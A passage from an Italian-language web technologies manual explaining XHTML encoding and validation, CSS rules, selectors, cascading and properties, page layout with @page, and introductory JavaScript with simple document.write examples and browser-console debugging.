L'esempio mostra un file XHTML completo, anche se molto breve. Si può osservare che il marcatore di apertura, oltre agli attributi '**`xml:lang`**' e '**`lang`**', contiene l'attributo '**`xmlns`**', a cui viene assegnato un URI prestabilito.

In XML, l'insieme di caratteri codificato è quello dell'insieme di caratteri universale. Di conseguenza, per la migliore compatibilità con il passato, la forma codificata del carattere più appropriata è UTF-8. Se il file utilizza l'ASCII tradizionale, senza estensioni, tutto va bene e non occorre altro; diversamente vanno usate preferibilmente le codifiche UTF-8 oppure UTF-16, come prevede in generale l'XML. La forma codificata del carattere viene specificata nell'istruzione iniziale, come già mostrato nell'esempio iniziale:

```
<?xml version="1.0" encoding="UTF-8" ?>
```

66.5.2 Verifica della validità di un file XHTML

Volendo verificare la validità di un file XHTML attraverso il suo DTD, si può agire in modo simile a quanto si fa in generale con l'SGML. Questo è già descritto nella sezione 63.2; tuttavia occorre ricordare che la definizione SGML da utilizzare è quella specifica per l'XML.

Il DTD di XHTML e la definizione delle entità standard, possono essere ottenuti a partire da '`http://www.w3.org/TR/xhtml1/DTD/`' (ma probabilmente la directory non è leggibile), mentre la dichiarazione SGML si può trovare tra i sorgenti del pacchetto SP di James Clark. Si veda a questo proposito quanto già descritto nel capitolo 64.

66.6 CSS

I fogli di stile CSS (*Cascading style sheet*) rappresentano un metodo semplice per consentire di dichiarare e abbinare degli stili di composizione ai documenti HTML e ad altri tipi di sistemi SGML.

Il lavoro su CSS ha generato due «livelli», CSS1 e CSS2, intesi come la prima e la seconda versione del linguaggio di stile CSS. Teoricamente, il linguaggio CSS deve essere compatibile sia verso l'alto, sia verso il basso, nel senso che il primo livello CSS è compatibile con il secondo e il secondo è compatibile con il primo. In pratica, le estensioni fatte al linguaggio nel CSS2 sono tali per cui dovrebbero essere ignorate semplicemente dai programmi in grado di interpretare correttamente solo CSS1.

Nelle sezioni successive si introduce il linguaggio CSS affrontando solo parte delle caratteristiche del primo livello, con qualche annotazione eventuale sul secondo. Nella sezione 66.2.2

è descritto in quanti modi si può includere un foglio di stile CSS in un documento HTML, pertanto questo particolare non viene riproposto.

66.6.1 Logica del linguaggio CSS

Nella documentazione di CSS, le sue istruzioni vengono definite «regole», che si esprimono sinteticamente secondo la forma seguente, dove le parentesi graffe fanno parte della dichiarazione della regola:

```
selettore { dichiarazione }
```

Il principio è molto semplice: il «selettore» rappresenta qualcosa all'interno del documento; la dichiarazione è ciò che si vuole ottenere su tale oggetto. All'interno di una regola si possono raggruppare più selettori, applicando così le stesse dichiarazioni; inoltre si possono indicare più dichiarazioni: i selettori si separano con la virgola; le dichiarazioni si separano con un punto e virgola:

```
selettore [, selettore]... { dichiarazione [; dichiarazione]... }
```

Le regole possono essere scritte anche utilizzando più righe di testo normale, per cui, la stessa sintassi appena mostrata potrebbe essere scritta anche come nel modo seguente (si osservi l'aggiunta di un punto e virgola ulteriore):

```
selettore [, selettore]... {
        dichiarazione;
        [dichiarazione;]
        ...
}
```

Teoricamente, quando si scrivono le regole iniziando ogni dichiarazione in una riga separata, è possibile evitare l'aggiunta del punto e virgola finale, ma questa scorciatoia non è consigliabile in generale.

Le dichiarazioni si scompongono a loro volta in proprietà e valori loro assegnati:

```
selettore [, selettore]... {
        proprietà: valore [valore_alternativo]...;
        [proprietà: valore [valore_alternativo]...;]
        ...
}
```

Come si vede, alle proprietà si possono assegnare più valori alternativi, in ordine di importanza.

Si osservi l'esempio seguente: attribuisce il colore blu al testo degli elementi '**H1**' di un documento HTML:

```
H1 { color: blue }
```

L'esempio successivo indica l'utilizzo di uno sfondo composto da un'immagine esterna per il corpo del documento, specificando che in mancanza dell'immagine, o in mancanza della possibilità di rappresentarla si può utilizzare uno sfondo bianco:

```
BODY { background: url(fondale.jpg) white }
```

Si intuisce che il nome del file contenente l'immagine è stato indicato come argomento di quello che sembra essere una funzione: ***url()***. Si osservi comunque che questa funzione fa riferimento a un URI e non a un URL, come fa intendere erroneamente il suo nome.

I commenti in un foglio di stile CSS si rappresentano in modo simile al linguaggio C, nella forma:

```
/* testo_ignorato */
```

66.6.1.1 Ereditarietà e collegamento in cascata

Una caratteristica fondamentale del linguaggio CSS è l'ereditarietà di talune caratteristiche in certe circostanze. Per comprendere il significato della cosa basta pensare alla struttura dell'HTML, o a un altro linguaggio SGML in generale: se si attribuisce una caratteristica stilistica a un elemento che per sua natura ne può contenere altri, ci si aspetta intuitivamente che questa si trasmetta anche ai livelli inferiori se applicabile, a meno che per tali elementi sia stato definito espressamente qualcosa di diverso.

Volendo fare un esempio più pratico, si può immaginare una caratteristica riferita alla dimensione del carattere di un blocco di testo. Se questo blocco contiene delle porzioni di testo delimitate da altri elementi, che possono servire per ottenere un testo enfatizzato in qualche modo, è normale attendersi che per queste porzioni venga utilizzata la stessa dimensione del carattere, senza bisogno di dichiarare esplicitamente e dettagliatamente questa richiesta.[4]

In generale, per quanto riguarda l'HTML, è normale assegnare all'elemento '**`BODY`**' le caratteristiche generali di tutto il documento, sfruttando il principio di ereditarietà.

L'altra caratteristica fondamentale del linguaggio CSS è la possibilità di definire gli stili in cascata. Questo significa che si possono abbinare assieme più fogli di stile e che nel complesso ci possono essere regole che si contraddicono a vicenda. Evidentemente, in questi casi viene applicato un criterio di scelta, che viene descritto più avanti.

66.6.1.2 Selettori

Il selettore di una regola CSS è qualcosa che rappresenta una parte del testo a cui si vogliono applicare le dichiarazioni relative. Nella situazione più semplice, il selettore viene indicato con il nome dell'elemento a cui si attribuisce. In questo modo, le dichiarazioni si applicano a tutti gli elementi di quel tipo. Nell'esempio seguente, che è già stato usato in precedenza, si attribuisce il colore blu al testo che compone tutti gli elementi '**`H1`**':

```
H1 { color: blue }
```

Tutti gli elementi HTML che si possono utilizzare nel corpo di tale tipo di documento possono utilizzare l'attributo '**`CLASS`**'. Questo permette di attribuire loro una «classe», ovvero un gruppo, di solito nell'ambito di quel tipo di elemento. Per indicare un selettore che faccia riferimento a una classe specifica di un certo elemento, si usa la notazione seguente:

[*elemento*] **.*classe***

Come si vede, l'indicazione dell'elemento è facoltativa, in modo tale che, se non lo si indica, si faccia riferimento a tutti gli elementi che appartengono a quella stessa classe. L'esempio seguente mostra il caso degli elementi '**`P`**' che appartengono alla classe '**`nota`**', a cui viene abbinato il colore rosso per il testo:

```
P.nota { color: red }
```

L'esempio seguente mostra invece l'utilizzo di un selettore che fa riferimento a una classe di qualunque elemento:

```
.calmante { color: green }
```

Un selettore può essere anche più specifico e arrivare a individuare un elemento preciso nel documento HTML, attraverso il riferimento all'attributo '**`ID`**':

[*elemento*] #***identificazione***

In questa situazione non è necessario indicare il nome dell'elemento, dato che la stringa di identificazione è già un dato univoco per conto proprio. Al contrario, se si sbaglia l'indicazione dell'elemento, si annulla la validità della regola relativa, perché non può essere applicata. L'esempio seguente attribuisce all'elemento '**`P`**' identificato dalla stringa '**`xyz`**' il colore blu:

```
P#xyz { color: blu }
```

Un selettore può essere composto in modo da definire la dipendenza da un contesto. In altri termini, si può definire un selettore che dipende da un altro:

selettore sottoselettore [***sotto_sottoselettore***]...

Il primo selettore indica un ambito, all'interno del quale va cercata la corrispondenza per il secondo selettore, continuando eventualmente ad aumentare il dettaglio con altri selettori più specifici. Si osservi l'esempio seguente; serve a fare riferimento agli elementi '**`EM`**' che si trovano all'interno di un elemento '**`H1`**':

```
H1 EM { color: green }
```

È importante distinguere il raggruppamento di selettori dalla definizione di un contesto più dettagliato come in questo caso. Infatti, per raggruppare i selettori si utilizza la virgola. L'esempio seguente applica il colore verde a tutti gli elementi '**`EM`**' contenuti all'interno di elementi '**`H1`**' o '**`H2`**':

```
H1 EM, H2 EM { color: green }
```

Un selettore può anche individuare una pseudo-classe, ovvero una zona di testo che viene individuata dal programma che si occupa di interpretare il documento HTML, che non corrisponde a elementi e classi indicati espressamente:

```
[elemento] [.classe] :pseudo_classe
```

Il caso tipico di una pseudo-classe è quella che delimita la prima lettera di un elemento: '**first-letter**'. L'esempio seguente serve a ottenere una lettera iniziale più grande in tutti gli elementi '**P**' di classe '**primo**':

```
P.primo:first-letter {
    font-size: 200%;
    float: left;
}
```

66.6.1.3 Stili in cascata

I fogli di stile CSS possono essere uniti assieme in cascata. Tra le altre cose, ciò permette la definizione di uno o più stili da parte dell'autore e di uno o più stili personalizzati da parte dell'utente che legge il documento. Un file contenente lo stile CSS può incorporare altri file attraverso la direttiva '**@import**' che ha la sintassi seguente:

```
@import url(uri_foglio_di_stile);
```

Come si vede, riappare la funzione ***url()*** già mostrata in precedenza. In generale, le direttive di incorporazione dei fogli di stile esterni vanno collocate all'inizio del file, prima delle regole CSS.

Si è accennato al fatto che, nell'ambito dello stile complessivo che si ottiene, si possono generare dei conflitti tra dichiarazioni riferite alla stessa porzione di documento. Per scegliere quale dichiarazione deve avere la meglio, è necessario stabilire un peso differente, che dipende dal contesto e può anche essere condizionato attraverso l'aggiunta della stringa '**! important**' in coda alla dichiarazione:

```
H1 {
    color: black ! important;
    background: white ! important;
}
```

L'esempio mostra il caso in cui si tenta di aumentare il peso delle dichiarazioni che definiscono il colore del testo e dello sfondo negli elementi '**H1**'.

Viene descritta brevemente e in modo semplificato la sequenza attraverso cui vengono attribuite le caratteristiche dello stile.

- Le dichiarazioni vengono applicate se c'è la corrispondenza con i selettori. Se non ci sono corrispondenze, si applicano i valori ereditati; se non è possibile ereditare alcunché, si usano i valori iniziali.

- Le dichiarazioni vengono ordinate in base al loro peso, dove quelle marcate come «importanti» ricevono un peso maggiore rispetto a quelle normali.
- Le dichiarazioni vengono ordinate in base alla loro origine: lo stile dell'autore ha la precedenza su quello personalizzato dell'utente, che a sua volta ha la precedenza su quello predefinito dal programma utilizzato.
- Le dichiarazioni vengono ordinate in base alla precisione con cui individuano gli obiettivi. In pratica, le dichiarazioni più specifiche hanno la precedenza rispetto a quelle più generali.
- Al termine, se due regole hanno lo stesso peso, ha la precedenza quella che appare per ultima.

66.6.2 Proprietà

Di seguito vengono mostrate una serie di tabelle che descrivono l'utilizzo di alcune proprietà comuni nel linguaggio CSS. Bisogna ricordare che ogni programma di lettura o di composizione dei documenti HTML può fare la propria scelta su quali siano le dichiarazioni da prendere in considerazione, ignorando tutto il resto. Pertanto, si tratta solo di un'indicazione e l'utilizzo degli stili CSS deve essere sempre valutato tenendo conto delle carenze che poi ci possono essere in fase di lettura.

Tabella 66.93. Proprietà riferite ai caratteri.

Proprietà	Valori	Descrizione
`font-family`	***tipo_di_carattere***	Tipo di carattere.
`font-style`	`normal`	Forma normale.
	`italic`	Corsivo.
	`oblique`	Obliquo.
`font-variant`	`normal`	Serie normale.
	`small-caps`	Maiuscoletto.
`font-weight`	normal	Tono normale.
	`bold`	Nero.
	`bolder`	Nerissimo.
	`lighter`	Chiaro.
`font-size`	***n***`pt`	Dimensione in punti.
	n`cm`	Dimensione in centimetri.
	n`mm`	Dimensione in millimetri.
	n`em`	Dimensione relativa in quadratoni.

Proprietà	Valori	Descrizione
	n`ex`	Dimensione relativa in Ex.
	n`%`	Dimensione relativa percentuale.
	`small`	Carattere piccolo.
	`medium`	Carattere normale.
	`large`	Carattere grande.

Nella tabella 66.93 si fa riferimento in particolare alla proprietà '**`font-family`**'. A questa può essere attribuito il nome di una famiglia di caratteri, oppure il nome di una «famiglia generica», che in pratica identifica uno stile del carattere senza indicare esattamente quale tipo di carattere. Una famiglia di caratteri potrebbe essere '**`times`**', mentre una famiglia generica potrebbe essere '**`serif`**', ovvero un carattere munito di grazie. Alla proprietà '**`font-family`**' possono essere abbinati più tipi di caratteri, separati da una virgola, per indicare una sequenza alternativa da utilizzare in mancanza di quello preferito:

```
BODY { font-family: gill, helvetica, sans-serif }
```

L'esempio mostra proprio questo: prima si tenta di utilizzare il carattere '**`gill`**'; quindi si prova con '**`helvetica`**'; infine ci si accontenta di un carattere senza grazie, '**`sans-serif`**'.

Tabella 66.95. Proprietà riferite ai colori e allo sfondo.

Proprietà	Valori	Descrizione
`color`	***colore***	Colore del carattere o di primo piano.
`background-color`	***colore***	Colore dello sfondo.
`background-image`	`url(`***uri***`)`	Immagine da usare per lo sfondo.

Per quanto riguarda i colori (tabella 66.95), si possono indicare attraverso il nome che questi hanno in inglese, oppure attraverso la funzione ***rgb()***, con la quale si specifica il valore RGB:

```
rgb(livello_rosso, livello_verde, livello_blu)
```

I numeri che esprimono i livelli dei colori fondamentali RGB vanno da 0 a 255.

Tabella 66.96. Proprietà riferite al testo.

Proprietà	Valori	Descrizione
`vertical-align`	`baseline`	Testo al livello normale.
	`middle`	Allinea al centro.
	`sub`	Pedice.

Proprietà	Valori	Descrizione
	`super`	Apice.
`text-transform`	`none`	Nessuna trasformazione del testo.
	`capitalize`	Rende maiuscola la prima lettera delle parole.
	`uppercase`	Tutto maiuscolo.
	`lowercase`	Tutto minuscolo.
`text-align`	`left`	Allinea a sinistra.
	`right`	Allinea a destra.
	`center`	Centra.
	`justify`	Allinea a sinistra e a destra.
`text-indent`	***n***`pt`	Rientro in punti.
	n`cm`	Rientro in centimetri.
	n`mm`	Rientro in millimetri.
	n`em`	Rientro relativo in quadratoni.
	n`ex`	Rientro relativo in Ex.
	n`%`	Rientro relativo in percentuale.
`line-height`	`normal`	Altezza normale della riga.
	n`pt`	Altezza in punti.
	n`cm`	Altezza in centimetri.
	n`mm`	Altezza in millimetri.
	n`%`	Altezza relativa in percentuale.

Tabella 66.97. Proprietà riferite al testo racchiuso in blocchi rettangolari.

Proprietà	Valori	Descrizione
`margin-top`	`auto`	Margine superiore automatico.
	n`pt`	Margine superiore in punti.
	n`cm`	Margine superiore in centimetri.
	n`mm`	Margine superiore in millimetri.

Proprietà	Valori	Descrizione
	n`%`	Margine superiore relativo in percentuale.
`margin-bottom`	`auto`	Margine inferiore automatico.
	n`pt`	Margine inferiore in punti.
	n`cm`	Margine inferiore in centimetri.
	n`mm`	Margine inferiore in millimetri.
	n`%`	Margine inferiore relativo in percentuale.
`margin-left`	`auto`	Margine sinistro automatico.
	n`pt`	Margine sinistro in punti.
	n`cm`	Margine sinistro in centimetri.
	n`mm`	Margine sinistro in millimetri.
	n`%`	Margine sinistro relativo in percentuale.
`margin-right`	`auto`	Margine destro automatico.
	n`pt`	Margine destro in punti.
	n`cm`	Margine destro in centimetri.
	n`mm`	Margine destro in millimetri.
	n`%`	Margine destro relativo in percentuale.
`border-width`	`thin`	Bordo sottile.
	`medium`	Bordo medio.
	`thick`	Bordo spesso.
`border-color`	***colore***	Colore del bordo.
`border-style`	`none`	Bordo non visibile.
	`dotted`	Bordo puntato.
	`dashed`	Bordo tratteggiato.
	`solid`	Bordo continuo.
	`double`	Bordo continuo doppio.
`width`	`auto`	Larghezza automatica.

Proprietà	Valori	Descrizione
	*n*pt	Larghezza in punti.
	*n*cm	Larghezza in centimetri.
	*n*mm	Larghezza in millimetri.
	n%	Larghezza relativa in percentuale.
height	auto	Altezza automatica.
	*n*pt	Altezza in punti.
	*n*cm	Altezza in centimetri.
	*n*mm	Altezza in millimetri.
	n%	Altezza relativa in percentuale.
float	none	Posizione fissa.
	left	A sinistra con testo che scorre a destra.
	right	A destra con testo che scorre a sinistra.
clear	none	Scorre normalmente.
	left	Salta un oggetto che si trova a sinistra.
	right	Salta un oggetto che si trova a destra.
	both	Salta qualunque oggetto fluttuante.

66.6.3 Definizione della pagina

Il secondo livello del linguaggio CSS, introduce una regola speciale, '**`@page`**', per la definizione della pagina, nel momento in cui il documento dovesse essere stampato. Inoltre, sono disponibili delle proprietà specifiche per l'impaginazione da usarsi nelle regole normali. In generale, la regola '**`@page`**' viene usata per definire i margini ed eventualmente anche le dimensioni della pagina. L'esempio seguente dichiara una pagina A4 utilizzando margini tutti uguali di 2 cm:

```
@page {
  size 210mm 297mm;
  margin-top: 2cm;
  margin-bottom: 2cm;
  margin-left: 2cm;
  margin-right: 2cm;
}
```

La stessa cosa si potrebbe ottenere in modo meno dettagliato come segue:

```
@page {
  size 210mm 297mm;
  margin: 2cm;
}
```

La tabella 66.100 riepiloga le proprietà più importanti riferite a questa regola.

Tabella 66.100. Proprietà riferite alla regola speciale '**`@page`**'.

Proprietà	Valori	Descrizione
`size`	***x y***	Ampiezza e altezza della pagina (nelle varie unità di misura).
	`auto`	Definisce le dimensioni e l'orientamento in modo automatico.
	`landscape`	Orientamento orizzontale.
	`portrait`	Orientamento verticale.
`margin`	***x***	Dimensione di tutti i margini.
	n`pt`	Dimensione in punti.
	n`cm`	Dimensione in centimetri.
	n`mm`	Dimensione in millimetri.
	n`%`	Dimensione relativa in percentuale.
`margin-left`	***x***	Dimensione del margine sinistro.
`margin-right`	***x***	Dimensione del margine destro.
`margin-top`	***x***	Dimensione superiore.
`margin-bottom`	***x***	Dimensione inferiore.

La regola '**`@page`**' può essere usata in modo da distinguere tra pagine destre e pagine sinistre. Si osservi a questo proposito l'esempio seguente:

```
@page :left {
  margin-top: 2cm;
  margin-bottom: 2cm;
  margin-left: 4cm;
  margin-right: 2cm;
}

@page :right {
  margin-top: 2cm;
  margin-bottom: 2cm;
  margin-left: 2cm;
  margin-right: 4cm;
}
```

Come accennato sono disponibili delle proprietà specifiche per l'impaginazione da usarsi nelle regole normali. Con queste si intende controllare la suddivisione del testo in pagine, imponendo un salto pagina, oppure impedendolo nell'ambito dell'elemento coinvolto. Queste proprietà non vengono descritte qui, ma è utile almeno tenere in considerazione la loro esistenza.

66.7 JavaScript

Il linguaggio JavaScript somiglia al Java, semplificato in modo da poter essere eseguito direttamente, come uno script comune. Questo linguaggio è però destinato a essere interpretato da un navigatore, inserito normalmente all'interno di documenti HTML, pertanto il suo ambito di utilizzo è più limitato rispetto a Java.

Oltre alla limitatezza del contesto a cui è destinato questo linguaggio di programmazione, occorre considerare il fatto che, essendo interpretato dal navigatore, può esistere solo una compatibilità di massima, perché tutto dipende dalla capacità del navigatore stesso di eseguire le istruzioni del linguaggio.

Si intende che il ruolo del linguaggio JavaScript è quello di arricchire di potenzialità i documenti ipertestuali che si possono leggere attraverso un navigatore, ma in generale il suo utilizzo va ponderato, per non escludere quella porzione di utenti che si trova a usare software che per qualche ragione non può eseguire script di questo tipo.

Prima di poter affrontare la descrizione del linguaggio, è necessario comprendere come si usa in pratica, dal momento che ciò richiede l'inserimento, in qualche modo, all'interno di documenti ipertestuali. Si osservi l'esempio seguente che mostra il contenuto di un file HTML molto semplice:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>JavaScript 1</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            document.write ("Ciao a tutti! ");
```

```
            document.write ("Questo &egrave; il mio primo ");
            document.write ("programma JavaScript.");
        //-->
    </SCRIPT>
</HEAD>
<BODY>
<H1>JavaScript 1</H1>
<P>Bla bla bla bla...</P>
</BODY>
</HTML>
```

Se si legge questo file con un navigatore comune, si dovrebbe ottenere di visualizzare questo risultato:

Ciao a tutti! Questo è il mio primo programma JavaScript.

JavaScript 1

Bla bla bla bla...

Per cominciare si deve osservare che è stato utilizzato l'elemento '**SCRIPT**' all'interno dell'intestazione del file. Attraverso l'attributo '**LANGUAGE**' è stato specificato l'uso del linguaggio JavaScript e con l'attributo '**TYPE**' (che in questo caso è facoltativo) viene specificato il tipo MIME.

Il contenuto dell'elemento '**SCRIPT**' è il programma JavaScript che, come si vede dal risultato, viene eseguito prima di analizzare il corpo della pagina HTML. Per garantire di non ottenere effetti spiacevoli in presenza di un navigatore che non conosce l'uso di questo elemento, convenzionalmente, si delimita il codice inserito attraverso un commento particolare:

```
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            ...
            ...
            ...
        //-->
    </SCRIPT>
```

Si osservi che la chiusura del commento deve essere realizzata necessariamente secondo la forma '**//-->**', per garantire la massima compatibilità con i navigatori.

In alternativa, si può ottenere lo stesso risultato scrivendo il codice JavaScript in un file separato:

```
document.write ("Ciao a tutti! ");
document.write ("Questo &egrave; il mio primo ");
document.write ("programma JavaScript.");
```

Supponendo che questo file si chiami ‘`javascript-001.js`’, il file HTML, collocato nella stessa directory, potrebbe essere realizzato semplicemente così:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>JavaScript 1</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript"
        SRC="javascript-001.js"></SCRIPT>
</HEAD>
<BODY>
<H1>JavaScript 1</H1>
<P>Bla bla bla bla...</P>
</BODY>
</HTML>
```

Il risultato che si ottiene è lo stesso.

Negli esempi che vengono mostrati qui a proposito delle pagine HTML che incorporano o fanno riferimento a programmi JavaScript, si specifica in modo esplicito il tipo di standard HTML usato e si cerca di scrivere in modo corretto, secondo la sintassi prevista. Tuttavia, nessuno degli standard HTML, tanto meno lo standard ISO che viene usato proprio negli esempi, prevede l’inserzione o il riferimento a programmi JavaScript nel modo mostrato. Pertanto, questi file sono errati formalmente, per ciò che riguarda il linguaggio HTML, ma rappresentano l’unico modo per garantire un discreto grado di compatibilità tra i navigatori che devono eseguire gli script contenuti.

Negli esempi mostrati appare un solo elemento ‘**`SCRIPT`**’ nell’intestazione del file HTML. In pratica ci possono essere più elementi ‘**`SCRIPT`**’ nell’intestazione e ne possono apparire anche nel corpo del documento, come nell’esempio seguente:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>JavaScript 2</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            document.write ("Ciao a tutti! ");
        //-->
    </SCRIPT>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            document.write ("Questo &egrave; il mio secondo ");
            document.write ("programma JavaScript.");
        //-->
    </SCRIPT>
```

```
</HEAD>
<BODY>
<H1>JavaScript 2</H1>
<P>Bla bla bla bla...</P>

<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        document.write ("Come si pu&ograve; vedere, &egrave; ");
        document.write ("possibile inserire del codice JavaScript ");
        document.write ("anche nel corpo del file HTML.");
    //-->
</SCRIPT>
</BODY>
</HTML>
```

Ecco il risultato che si dovrebbe ottenere:

Ciao a tutti! Questo è il mio secondo programma JavaScript.

JavaScript 2

Bla bla bla bla...

Come si può vedere, è possibile inserire del codice JavaScript anche nel corpo del file HTML.

Gli esempi mostrati fino a questo punto fanno uso esclusivo della funzione ***document.write()***, ovvero, più precisamente, del metodo ***write()*** dell'oggetto '`document`'. Ciò che si ottiene utilizzandolo è di inserire la stringa che viene data come argomento nel documento che viene visualizzato. Pertanto, quanto viene inserito nell'intestazione appare all'inizio, mentre ciò che viene inserito nel corpo, appare in corrispondenza dell'inserzione.

Dal momento che il documento in questione è scritto con il linguaggio HTML, queste stringhe devono essere coerenti con il linguaggio HTML stesso, cosa che negli esempi mostrati non è stato, a parte l'uso di alcune macro per le vocali accentate. L'esempio appena presentato, andrebbe modificato, come appare qui di seguito:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>JavaScript 3</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            document.write ("<P>Ciao a tutti! ");
        //-->
    </SCRIPT>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            document.write ("Questo &egrave; il mio secondo ");
            document.write ("programma JavaScript.</P>");
```

```
        //-->
    </SCRIPT>
</HEAD>
<BODY>
<H1>JavaScript 3</H1>
<P>Bla bla bla...</P>

<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        document.write ("<P>Come si pu&ograve; vedere, &egrave; ");
        document.write ("possibile inserire del codice JavaScript ");
        document.write ("anche nel corpo del file HTML.</P>");
    //-->
</SCRIPT>
</BODY>
</HTML>
```

In pratica, viene circoscritto il testo all'interno di un elemento '**P**'. Naturalmente, nello stesso modo si può inserire del codice HTML più complesso, anche se per evitare di fare troppa confusione, sarebbe meglio ridurre al minimo questa possibilità.

Generalmente, quando si scrive un programma JavaScript non si può disporre di un analizzatore ortografico per la ricerca di errori, anche se banali. In tal modo, l'unica cosa su cui si può contare è il programma che lo interpreta, ovvero il navigatore, che normalmente si limita a non eseguire il programma che non sia sintatticamente perfetto. Pertanto, ciò significa che la scrittura di programmi complessi diventa un compito molto difficile e a volte impossibile.

66.7.1 Verifica sintattica

Al programmatore JavaScript manca un analizzatore sintattico standardizzato universale e il controllo si può eseguire solo attraverso gli strumenti di questo o di quel navigatore. Fortunatamente, Mozilla (Netscape) e molti dei suoi vari derivati, offre la «console JavaScript», dove vengono messi in evidenza quelli che possono essere degli errori del programma.

Viene proposto un esempio HTML contenente un programma JavaScript con diversi errori.

Inizialmente viene visualizzato il file con Mozilla Firefox e viene aperta la console JavaScript selezionando la voce *JavaScript Console* dal menù *Tools*.

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>JavaScript 6</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
            document.write ("Ciao a tutti! ');
```

```
            document.writer ("Questo &egrave; il mio primo ");
            document.write ("programma JavaScript completamente errato!"):
        //-->
    </SCRIPT>
</HEAD>
<BODY>
<H1>JavaScript 6</H1>
<P>Bla bla bla bla...</P>
</BODY>
</HTML>
```

Inizialmente viene visualizzato il file con Mozilla Firefox e viene aperta la console JavaScript selezionando la voce `JavaScript Console` dal menù `Tools`:

Come si vede dalla figura, il primo errore a essere segnalato è la stringa terminata in modo errato. Si ipotizza di correggere l'errore e di ricaricare la pagina:

Source of: file:///home/DANIELE/DVD1/daniele/javascript.html - Mozilla Firefox

File Edit View

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>JavaScript 6</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
        <!--
          document.write ("Ciao a tutti! ");
          document.writer ("Questo &egrave; il mio primo ");
          document.write ("programma JavaScript completamente errato!"):
        //-->
    </SCRIPT>
</HEAD>
<BODY>
<H1>JavaScript 6</H1>
<P>Bla bla bla bla...
</BODY>
</HTML>
```

Done

JavaScript Console

All Errors Warnings Messages Clear

Evaluate

Error: unterminated string literal
Source File: file:///home/DANIELE/DVD1/daniele/javascript.html Line: 8
`document.write ("Ciao a tutti! ');`

Error: invalid label
Source File: file:///home/DANIELE/DVD1/daniele/javascript.html Line: 10
`document.write ("programma JavaScript completamente errato!"):`

In questo caso, seguendo il collegamento visibile in corrispondenza dell'errore che viene segnalato, si vede apparire una finestra contenente il sorgente con la riga errata evidenziata. L'errore che viene messo in risalto è dovuto alla conclusione dell'istruzione con i due punti, invece che con il punto e virgola; si ipotizza di correggere anche questo errore e di ricaricare la pagina:

JavaScript 6 - Mozilla Firefox

File Edit View Go Bookmarks Tools Help

file:///home/DANIELE/DVD1/daniele/javascript.htm Go

http://www.google.org http://a2.swlibero.or... http://a2.swlibero.or... http://linuxdidattica.o...

Ciao a tutti!

JavaScript 6

Bla bla bla bla...

Done

JavaScript Console

All Errors Warnings Messages Clear

Evaluate

Error: unterminated string literal
Source File: file:///home/DANIELE/DVD1/daniele/javascript.html Line: 8
`document.write ("Ciao a tutti! ');`

Error: invalid label
Source File: file:///home/DANIELE/DVD1/daniele/javascript.html Line: 10
`document.write ("programma JavaScript completamente errato!"):`

Error: document.writer is not a function
Source File: file:///home/DANIELE/DVD1/daniele/javascript.html Line: 9

L'ultimo errore a essere notato è il nome di una funzione inesistente: '**writer**'.

Altri navigatori derivati da Mozilla offrono una console simile, eventualmente da voci diverse del menù.

66.7.2 Caratteristiche generali del linguaggio di programmazione

Il linguaggio JavaScript è molto vicino a Java, con delle semplificazioni significative. Le istruzioni hanno la forma del linguaggio C, pertanto terminano con un punto e virgola ('**;**'); inoltre i raggruppamenti si ottengono con le parentesi graffe ('**{ }**'). I commenti ricalcano la forma usata per il linguaggio C:

```
/* commento_generico */
```

```
// commento_fino_alla_fine_della_riga
```

La gestione delle variabili di JavaScript è semplificata, al punto che non esiste la dichiarazione del tipo ed eventualmente la conversione avviene in modo automatico (salva la necessità di eseguire delle conversioni specifiche, quando quelle automatiche non avvengono nel modo desiderato).

Il punto critico della compatibilità dei programmi realizzati in JavaScript sta nell'utilizzo di oggetti (con le proprietà e i metodi relativi) che sono prestabiliti e creati automaticamente. Evidentemente, la disponibilità di questi oggetti dipende dal programma usato per interpretare il linguaggio JavaScript, ovvero dal navigatore; pertanto si può contare solo su un numero limitato di questi, così come bisogna essere prudenti nell'uso delle proprietà e dei metodi relativi, anche se ci possono essere dei navigatori o altri interpreti in grado di accettare l'utilizzo di oggetti, istanze e metodi molto sofisticati.

Teoricamente è possibile creare degli oggetti nuovi, ma in pratica si tratta di un procedimento sconsigliabile, pertanto conviene limitarsi all'uso di quelli predefiniti, creando eventualmente delle funzioni personalizzate.

66.7.3 Variabili, costanti, tipi di dati ed espressioni

Le variabili possono essere dichiarate implicitamente, nel momento in cui vengono utilizzate, oppure si può usare una forma esplicita, ma in ogni caso non viene specificato il tipo del loro contenuto:

```
{var} nome{ = valore_assegnato};
```

Pertanto, la variabile *x* può essere dichiarata implicitamente così:

```
x = 1;
```

